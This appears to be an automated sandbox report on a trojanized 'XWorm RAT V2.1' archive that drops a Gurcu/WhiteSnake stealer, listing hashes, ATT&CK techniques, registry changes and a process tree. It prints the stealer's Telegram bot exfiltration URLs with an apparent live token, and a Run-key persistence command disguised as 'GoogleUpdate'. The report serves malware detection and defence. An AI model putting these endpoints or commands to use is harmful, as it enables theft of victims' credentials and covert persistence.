gurcu | a7f8482b67e7000865195612c9a3028d0be97af52b4360f784054d5444b0b943

Analysis

max time kernel
68s
max time network
71s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
01-01-2025 23:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

XWorm RAT V2.1.rar
Size

32.3MB
MD5

462d28c33afdd9482d7d10c08febf615
SHA1

04c8a9698de4abea97af69506f5fbdc093539b1a
SHA256

a7f8482b67e7000865195612c9a3028d0be97af52b4360f784054d5444b0b943
SHA512

f047c53c206dae5de7e09d2b3a1dfb169f1bcb2e5a075dbff82c5b8d21c5363cad4cd81b4a3bab61e551c21f6b4e930237639c0b1aaa44da608f93975dbec099
SSDEEP

786432:+LLnQRIjMRfdFZkRNlCVdICz0NMb7X+OwTPntsHx9RiPHQL+Wly:AkhXFZM2VOKDCkxSOA

Score

10^/10

gurcu xworm discovery persistence rat spyware stealer trojan

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=-1002258988684&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendMessage?chat_id=-1002258988684

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/getUpdates?offset=-

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=-1002258988684&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/files/0x0009000000023ce4-217.dat	family_xworm

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	conhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	XWorm RAT V2.1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Command Reciever.exe

Executes dropped EXE 4 IoCs

pid	Process
3804	XWorm RAT V2.1.exe
4580	Command Reciever.exe
4776	Command Reciever.exe
3996	conhost.exe

Loads dropped DLL 2 IoCs

pid	Process
4776	Command Reciever.exe
3996	conhost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Uses the VBS compiler for execution 1 TTPs

Command and Scripting Interpreter
T1059

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\AdobeUpdate\\conhost.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
28	raw.githubusercontent.com
29	raw.githubusercontent.com
37	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	ip-api.com

Drops file in System32 directory 12 IoCs

description	ioc	Process
File created	C:\Windows\system32\perfc00C.dat	lodctr.exe
File created	C:\Windows\system32\perfh00C.dat	lodctr.exe
File created	C:\Windows\system32\perfh011.dat	lodctr.exe
File created	C:\Windows\system32\perfh009.dat	lodctr.exe
File created	C:\Windows\system32\perfc00A.dat	lodctr.exe
File created	C:\Windows\system32\perfh00A.dat	lodctr.exe
File created	C:\Windows\system32\perfc010.dat	lodctr.exe
File created	C:\Windows\system32\perfh010.dat	lodctr.exe
File created	C:\Windows\system32\perfc007.dat	lodctr.exe
File created	C:\Windows\system32\perfh007.dat	lodctr.exe
File created	C:\Windows\system32\perfc009.dat	lodctr.exe
File created	C:\Windows\system32\perfc011.dat	lodctr.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4020	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vbc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWorm RAT V2.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Command Reciever.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	conhost.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Command Reciever.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Command Reciever.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4536	timeout.exe

Modifies registry class 36 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	Command Reciever.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Command Reciever.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	Command Reciever.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = 00000000ffffffff	Command Reciever.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Command Reciever.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	Command Reciever.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Command Reciever.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	Command Reciever.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0	Command Reciever.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg	Command Reciever.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	Command Reciever.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	Command Reciever.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	Command Reciever.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	Command Reciever.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	Command Reciever.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	Command Reciever.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	Command Reciever.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	Command Reciever.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Command Reciever.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Command Reciever.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	Command Reciever.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff	Command Reciever.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0 = 68003100000000009e59a856100058574f524d527e312e3100004e0009000400efbe215a9abd215a9bbd2e0000006f3c020000000800000000000000000000000000000000000000580057006f0072006d0020005200410054002000560032002e00310000001a000000	Command Reciever.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	Command Reciever.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\NodeSlot = "2"	Command Reciever.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Command Reciever.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	Command Reciever.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 14002e803accbfb42cdb4c42b0297fe99a87c6410000	Command Reciever.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\MRUListEx = ffffffff	Command Reciever.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	Command Reciever.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Command Reciever.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Command Reciever.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	Command Reciever.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Command Reciever.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	Command Reciever.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	Command Reciever.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3696	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4776	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
3996	conhost.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
736	7zFM.exe
4580	Command Reciever.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeRestorePrivilege	736	7zFM.exe
Token: 35	736	7zFM.exe
Token: SeSecurityPrivilege	736	7zFM.exe
Token: SeDebugPrivilege	4776	Command Reciever.exe
Token: SeDebugPrivilege	4020	tasklist.exe
Token: SeDebugPrivilege	3996	conhost.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
736	7zFM.exe
736	7zFM.exe
4580	Command Reciever.exe
4580	Command Reciever.exe
4580	Command Reciever.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
4580	Command Reciever.exe
4580	Command Reciever.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3996	conhost.exe
4580	Command Reciever.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 3804 wrote to memory of 4580	3804	XWorm RAT V2.1.exe	101
PID 3804 wrote to memory of 4580	3804	XWorm RAT V2.1.exe	101
PID 3804 wrote to memory of 4580	3804	XWorm RAT V2.1.exe	101
PID 3804 wrote to memory of 4776	3804	XWorm RAT V2.1.exe	102
PID 3804 wrote to memory of 4776	3804	XWorm RAT V2.1.exe	102
PID 4776 wrote to memory of 4804	4776	Command Reciever.exe	106
PID 4776 wrote to memory of 4804	4776	Command Reciever.exe	106
PID 4804 wrote to memory of 1344	4804	cmd.exe	108
PID 4804 wrote to memory of 1344	4804	cmd.exe	108
PID 4804 wrote to memory of 4020	4804	cmd.exe	109
PID 4804 wrote to memory of 4020	4804	cmd.exe	109
PID 4804 wrote to memory of 3132	4804	cmd.exe	110
PID 4804 wrote to memory of 3132	4804	cmd.exe	110
PID 4804 wrote to memory of 4536	4804	cmd.exe	111
PID 4804 wrote to memory of 4536	4804	cmd.exe	111
PID 4804 wrote to memory of 3996	4804	cmd.exe	112
PID 4804 wrote to memory of 3996	4804	cmd.exe	112
PID 3996 wrote to memory of 3732	3996	conhost.exe	122
PID 3996 wrote to memory of 3732	3996	conhost.exe	122
PID 3732 wrote to memory of 3696	3732	cmd.exe	124
PID 3732 wrote to memory of 3696	3732	cmd.exe	124
PID 4580 wrote to memory of 4676	4580	Command Reciever.exe	125
PID 4580 wrote to memory of 4676	4580	Command Reciever.exe	125
PID 4580 wrote to memory of 4676	4580	Command Reciever.exe	125
PID 4676 wrote to memory of 628	4676	vbc.exe	127
PID 4676 wrote to memory of 628	4676	vbc.exe	127
PID 4676 wrote to memory of 628	4676	vbc.exe	127
PID 904 wrote to memory of 4636	904	cmd.exe	131
PID 904 wrote to memory of 4636	904	cmd.exe	131

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\XWorm RAT V2.1.rar"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:736

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4348

C:\Users\Admin\Desktop\XWorm RAT V2.1\XWorm RAT V2.1.exe
"C:\Users\Admin\Desktop\XWorm RAT V2.1\XWorm RAT V2.1.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3804
- C:\Users\Admin\Desktop\XWorm RAT V2.1\Command Reciever.exe
  "C:\Users\Admin\Desktop\XWorm RAT V2.1\Command Reciever.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4580
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\0vtt2gae\0vtt2gae.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4676
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA999.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc77C15A278C124AB4A4854785C6D13E32.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:628
- C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe
  "C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4776
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp5D00.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp5D00.tmp.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4804
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:1344
  - - C:\Windows\system32\tasklist.exe
      Tasklist /fi "PID eq 4776"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4020
  - - C:\Windows\system32\find.exe
      find ":"
      4⤵
      PID:3132
  - - C:\Windows\system32\timeout.exe
      Timeout /T 1 /Nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4536
  - - C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe
      "C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3996
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v GoogleUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3732
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v GoogleUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe /f
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3696

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:4800

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\XWorm RAT V2.1\Fixer.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:904
- C:\Windows\system32\lodctr.exe
  lodctr /r
  2⤵
  - Drops file in System32 directory
  PID:4636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\0vtt2gae\0vtt2gae.0.vb

Filesize
60KB

MD5
002b18f258ce736dbdc07bbce7bba2e4

SHA1
8b62a2b3cf34cd3bee3d1f07e6999f793951f075

SHA256
7ff8c49ae0864587655140e34fb3ed10ef077d6764f4dcc8a1e51bb154a34173

SHA512
f168d14a6eeeb17931ddac12840ccafd6f68d8db95efdd8ffe646f8bce6971c761192bc542cd744581849ff2219191b55b19b78b0e716a098a0473484138df3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\0vtt2gae\0vtt2gae.cmdline

Filesize
282B

MD5
db0afae73f72b1850c8fe30bf6f6d0c6

SHA1
329a77d1b8f32dcd106d1018e16edbe648390dcc

SHA256
8df183a75bf2744176f6a176bc5bac6e66a3987863088b0b2125c024056411d6

SHA512
acb21c3020567493eec8007c822a35c237641f81cc7bcf27d1950a6a4fe024798ec55c88d3ca5b781396abcdea5a3830e66c99cf67b6c5712e953da2331cc8a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESA999.tmp

Filesize
1KB

MD5
854836f9bf743cf14975293b38efbc91

SHA1
f520f1e8e07d9e2f92e474f1f4219faaac3eb1e9

SHA256
7ef5cc5ec437a837b3149e91bcb303311fb41744d2591c35f9bc7d6e791f8311

SHA512
d102158f311d536b62ff4a8d9190a7c762178a45b7c189de8a37247d11aa03c4172a72b3b82905c5a4d423d254811e943047bc8dea9e61ce1610699f5ea66595

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp5D00.tmp.bat

Filesize
295B

MD5
ec7f088d76a1920e7881bdd306657d35

SHA1
12602ecc3ffd6c7358fb905d315913315e1c40a2

SHA256
23e285f1de5da69d356559fe371c82c494ecdf8651a3d10c6f0f409ee235a1eb

SHA512
89733fac55f4966377fa16e58d7478359fed2ad7498f6068b6b6c26780c6801f758c2d4c99db2a363b2fa8ba564d316537049b9cdf226b8015a63cbf9a3c4d49

Download Submit
C:\Users\Admin\AppData\Local\Temp\vbc77C15A278C124AB4A4854785C6D13E32.TMP

Filesize
1KB

MD5
b70192bdfa82953d23893557b94122f2

SHA1
4fd73efd6a6b28f57df1dde6a4241526c5b0fb60

SHA256
6443d3bc34cc48e858c4fdb3ab0ad9a433705f266cb70f92886e90cbf589eab4

SHA512
6dcb0273ffe6675af850d0a5e1976d9e8f8e9d6306a21856b1df4d8c0fef38fb8ff28f113e8c8b923c6451e32e734c514a15f79efe6316f180874f78608928da

Download Submit
C:\Users\Admin\Desktop\XWorm RAT V2.1\Command Reciever.exe

Filesize
6.5MB

MD5
a21db5b6e09c3ec82f048fd7f1c4bb3a

SHA1
e7ffb13176d60b79d0b3f60eaea641827f30df64

SHA256
67d9b4b35c02a19ab364ad19e1972645eb98e24dcd6f1715d2a26229deb2ccf5

SHA512
7caab4f21c33ef90c1104aa7256504ee40ff0a36525b15eb3d48940862346ccf90a16eef87c06d79b0ffd920beb103ed380eae45df8c9286768890b15ed1067c

Download Submit
C:\Users\Admin\Desktop\XWorm RAT V2.1\Fixer.bat

Filesize
122B

MD5
2dabc46ce85aaff29f22cd74ec074f86

SHA1
208ae3e48d67b94cc8be7bbfd9341d373fa8a730

SHA256
a11703fd47d16020fa099a95bb4e46247d32cf8821dc1826e77a971cdd3c4c55

SHA512
6a50b525bc5d8eb008b1b0d704f9942f72f1413e65751e3de83d2e16ef3cf02ef171b9da3fff0d2d92a81daac7f61b379fcf7a393f46e914435f6261965a53b3

Download Submit
C:\Users\Admin\Desktop\XWorm RAT V2.1\GeoIP.dat

Filesize
1.0MB

MD5
c8db63170e85b35ce51b5d1aef098708

SHA1
bd8489cc9017bfe308d748b1d62db1f154990acc

SHA256
6c15c5f8e3faec8adf4321fd8f9d62f3f4dd645dafd0f9f6c52b118001654d36

SHA512
4392ec79c297da34b1500799bd07eebbf1ca88b5d1efe80d9cf02d4cd9562ae617854d228876451aa53c5256f9a47b530f481da4cedb4d748b319d69a14e3a7b

Download Submit
C:\Users\Admin\Desktop\XWorm RAT V2.1\Resource\data.dat

Filesize
5.6MB

MD5
eb01eece5f0887b24a1bd53183d801dc

SHA1
49e92aee8351e3a995d8ec95bc64d7f381dcee28

SHA256
a2b1012a39662b760415ee897388c862457f4f1672897db8dee67e125bf0ad5c

SHA512
83374fdc381d52b64682df5b96f02cb3d487ce12d9231ede8ee9a92ecf72fa4a0d6f91a04e5f6656cccd50f142dd44bbb08e7ecc94b647e0349064dc32a76839

Download Submit
C:\Users\Admin\Desktop\XWorm RAT V2.1\XHVNC.exe

Filesize
1.9MB

MD5
4904329d091687c9deb08d9bd7282e77

SHA1
bcf7fcebb52cad605cb4de65bdd077e600475cc7

SHA256
e92707537fe99713752f3d3f479fa68a0c8dd80439c13a2bb4ebb36a952b63fd

SHA512
